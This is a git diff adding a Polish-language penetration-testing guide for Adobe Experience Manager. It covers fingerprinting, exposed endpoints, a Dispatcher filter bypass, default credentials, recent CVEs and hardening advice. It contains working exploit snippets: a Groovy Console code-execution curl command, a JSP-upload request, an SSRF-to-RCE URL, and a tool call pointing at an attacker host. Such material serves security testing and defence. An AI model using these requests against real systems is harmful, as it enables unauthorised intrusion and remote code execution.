diff --git a/src/network-services-pentesting/pentesting-web/aem-adobe-experience-cloud.md b/src/network-services-pentesting/pentesting-web/aem-adobe-experience-cloud.md index 5e9dacff5..3165702b7 100644 --- a/src/network-services-pentesting/pentesting-web/aem-adobe-experience-cloud.md +++ b/src/network-services-pentesting/pentesting-web/aem-adobe-experience-cloud.md @@ -1,5 +1,117 @@ -{{#include ../../banners/hacktricks-training.md}} - -Znajdź luki i błędy konfiguracyjne za pomocą [https://github.com/0ang3el/aem-hacker](https://github.com/0ang3el/aem-hacker) +# AEM (Adobe Experience Manager) Pentesting {{#include ../../banners/hacktricks-training.md}} + +> Adobe Experience Manager (AEM, część Adobe Experience Cloud) to korporacyjny CMS, który działa na Apache Sling/Felix (OSGi) oraz Java Content Repository (JCR). +> Z perspektywy atakującego instancje AEM często ujawniają niebezpieczne punkty końcowe do rozwoju, słabe zasady Dispatcher, domyślne dane uwierzytelniające oraz długą listę CVE, które są łatanie co kwartał. + +Lista kontrolna poniżej koncentruje się na **zewnętrznie dostępnej (unauth) powierzchni ataku**, która wciąż pojawia się w rzeczywistych zaangażowaniach (2022-2025). + +--- + +## 1. Fingerprinting +``` +$ curl -s -I https://target | egrep -i "aem|sling|cq" +X-Content-Type-Options: nosniff +X-Dispatcher: hu1 # header added by AEM Dispatcher +X-Vary: Accept-Encoding +``` +Inne szybkie wskaźniki: +* `/etc.clientlibs/` statyczna ścieżka obecna (zwraca JS/CSS). +* `/libs/granite/core/content/login.html` strona logowania z banerem „Adobe Experience Manager”. +* `` komentarz na dole HTML. + +--- + +## 2. Wysokowartościowe punkty końcowe bez uwierzytelnienia + +Ścieżka | Co otrzymujesz | Uwagi +---- | ------------- | ----- +`/.json`, `/.1.json` | Węzły JCR za pomocą **DefaultGetServlet** | Często zablokowane, ale *Dispatcher bypass* (patrz poniżej) działa. +`/bin/querybuilder.json?path=/` | API QueryBuilder | Wyciek drzewa stron, wewnętrzne ścieżki, nazwy użytkowników. +`/system/console/status-*`, `/system/console/bundles` | Konsola OSGi/Felix | 403 domyślnie; jeśli ujawnione i znalezione dane uwierzytelniające ⇒ RCE przy przesyłaniu pakietów. +`/crx/packmgr/index.jsp` | Menedżer pakietów | Umożliwia przesyłanie pakietów treści z uwierzytelnieniem → przesyłanie ładunku JSP. +`/etc/groovyconsole/**` | AEM Groovy Console | Jeśli ujawnione → dowolne wykonanie Groovy / Java. +`/libs/cq/AuditlogSearchServlet.json` | Dzienniki audytu | Ujawnienie informacji. +`/libs/cq/ui/content/dumplibs.html` | Zrzut ClientLibs | Wektor XSS. + +### Sztuczka z obejściem Dispatcher +Większość stron produkcyjnych znajduje się za *Dispatcher* (reverse-proxy). Jego zasady filtrów można obejść, dodając dozwoloną statyczną rozszerzenie **po średniku lub zakodowanej nowej linii**: +``` +GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1 +``` +Jedno zapytanie, jak powyżej, często ujawnia węzły profilu użytkownika z adresami e-mail. P-T Partners opublikowało dobre wskazówki dotyczące tej słabości. 【】 + +--- + +## 3. Typowe błędne konfiguracje (wciąż obecne w 2025) + +1. **Anonimowy serwlet POST** – `POST /.json` z `:operation=import` pozwala na dodawanie nowych węzłów JCR. Zablokowanie `*.json` POST w Dispatcherze to naprawia. 【】 +2. **Profile użytkowników dostępne dla wszystkich** – domyślne ACL przyznaje `jcr:read` na `/home/users/**/profile/*` wszystkim. +3. **Domyślne dane logowania** – `admin:admin`, `author:author`, `replication:replication`. +4. **Włączony WCMDebugFilter** ⇒ odzwierciedlone XSS przez `?debug=layout` (CVE-2016-7882, wciąż znalezione w starszych instalacjach 6.4). +5. **Ekspozycja Groovy Console** – zdalne wykonanie kodu przez wysłanie skryptu Groovy: +```bash +curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json +``` + +--- + +## 4. Ostatnie luki (cykl wydania pakietów serwisowych) + +Kwartał | CVE | Dotknięte | Wpływ +------- | --- | -------- | ------ +Grudzień 2024 | **CVE-2024-43711** | 6.5.21 i wcześniejsze | Niewłaściwa walidacja wejścia → **Wykonanie dowolnego kodu** (wymaga niskoprawnych uprawnień). 【】 +Grudzień 2024 | CVE-2024-43724/26 | 6.5.21 i wcześniejsze | DOM / Przechowywane XSS w kreatorze przenoszenia strony. 【】 +Grudzień 2023 | CVE-2023-48452/68 | ≤ 6.5.18 | XSS oparte na DOM przez spreparowany URL. 【】 +Grudzień 2022 | CVE-2022-30683 | ≤ 6.5.13 | Wada w projektowaniu kryptograficznym → odszyfrowanie sekretu (wymaga niskoprawnych danych logowania). 【】 + +Zawsze sprawdzaj biuletyn *APSB* odpowiadający pakietowi serwisowemu klienta i żądaj najnowszej wersji **6.5.22** lub *Cloud Service 2024.11*. + +--- + +## 5. Fragmenty wykorzystania + +### 5.1 RCE przez obejście dispatcher + przesyłanie JSP +Jeśli anonimowe zapisywanie jest możliwe: +``` +# 1. Create a node that will become /content/evil.jsp +POST /content/evil.jsp;%0aa.css HTTP/1.1 +Content-Type: application/x-www-form-urlencoded + +:contentType=text/plain +jcr:data=<% out.println("pwned"); %> +:operation=import +``` +Teraz zażądaj `/content/evil.jsp` – JSP działa z użytkownikiem procesu AEM. + +### 5.2 SSRF do RCE (historyczne < 6.3) +`/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console` +`aem_ssrf2rce.py` z **aem-hacker** automatyzuje cały proces. 【】 + +--- + +## 6. Narzędzia + +* **aem-hacker** – skrypt do enumeracji typu szwajcarski scyzoryk, wspiera obejście dispatcher, wykrywanie SSRF, sprawdzanie domyślnych poświadczeń i więcej. +```bash +python3 aem_hacker.py -u https://target --host attacker-ip +```【】 +* **Content Brute-force** – rekurencyjnie żądaj `/_jcr_content.(json|html)`, aby odkryć ukryte komponenty. +* **osgi-infect** – przesyłaj złośliwy pakiet OSGi przez `/system/console/bundles`, jeśli dostępne są poświadczenia. + +--- + +## 7. Lista kontrolna wzmacniania (dla rekomendacji w Twoim raporcie) + +1. Utrzymuj instancję na **najświeższym skumulowanym pakiecie serwisowym** (stan na lipiec 2025: 6.5.22). +2. Usuń/zmień domyślne konta; wymuś SSO/SAML. +3. Zaostrzyć **filtry Dispatcher** – odrzucaj `;`, zakodowane nowe linie oraz `*.json` lub `*.querybuilder.json` dla anonimowych użytkowników. +4. Wyłącz lub zabezpiecz konsolę (`/system/console`, `/crx/*`, `/etc/groovyconsole`) za pomocą listy dozwolonych adresów IP. +5. Zastosuj pakiet *Wzmacnianie uprawnień anonimowych* dostarczony przez Adobe. + +## Odniesienia + +* Adobe Security Bulletin APSB24-69 – “Aktualizacje zabezpieczeń dla Adobe Experience Manager (grudzień 2024)”. +* 0ang3el – narzędzie aem-hacker (GitHub). +{{#include ../../banners/hacktricks-training.md}}